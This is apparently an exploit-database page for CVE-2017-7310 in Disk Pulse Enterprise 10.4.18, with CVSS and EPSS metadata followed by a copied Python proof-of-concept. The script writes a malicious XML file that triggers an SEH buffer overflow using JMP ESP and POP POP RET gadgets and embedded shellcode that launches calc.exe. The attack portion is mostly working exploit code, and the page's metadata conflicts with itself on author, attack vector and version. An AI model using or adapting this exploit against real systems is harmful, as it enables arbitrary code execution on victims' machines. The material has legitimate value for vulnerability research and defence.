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Disk Pulse Enterprise 10.4.18 Import Command Buffer Overflow (SEH)

CVE	Category	Price	Severity
CVE-2017-7310	CWE-119	$5,000	High

Author	Risk	Exploitation Type	Date
Behzad Najjarpour Jabbari	High	Local	2018-02-22

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018020235

Below is a copy:

Disk Pulse Enterprise 10.4.18 Import Command Buffer Overflow (SEH)

#!/usr/bin/env python

# Exploit Title: Disk Pulse Enterprise v10.4.18 - 'Import Command' Buffer Overflow (SEH)
# Date: 2018-01-22
# Exploit Author: Daniel Teixeira
# Author Homepage: www.danielteixeira.com
# Vendor Homepage: http://www.diskpulse.com
# Software Link: http://www.diskpulse.com/setups/diskpulseent_setup_v10.4.18.exe
# Version: 10.4.16
# Tested on: Windows 7 SP1 x86
# CVE: CVE-2017-7310 

import os,struct

#Buffer overflow
junk = "A"*1560

#JMP ESP (QtGui4.dll)
jmpesp= struct.pack('<L',0x651bb77a)

#NOPS
nops = "\x90"

#LEA   EAX, [ESP+76]
esp = "\x8D\x44\x24\x4C"
#JMP ESP
jmp = "\xFF\xE0"

#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (QtGui4.dll)
SEH = struct.pack('<L',0x67033072)

#CALC.EXE
shellcode =  "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"

#PAYLOAD
payload = junk + jmpesp + nops * 16 + esp + jmp + nops * 68 + nSEH + SEH + nops * 10 + shellcode + nops * 5000

#FILE
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + '\n</classify>'

f = open('Exploit.xml', 'w')
f.write(file)
f.close()

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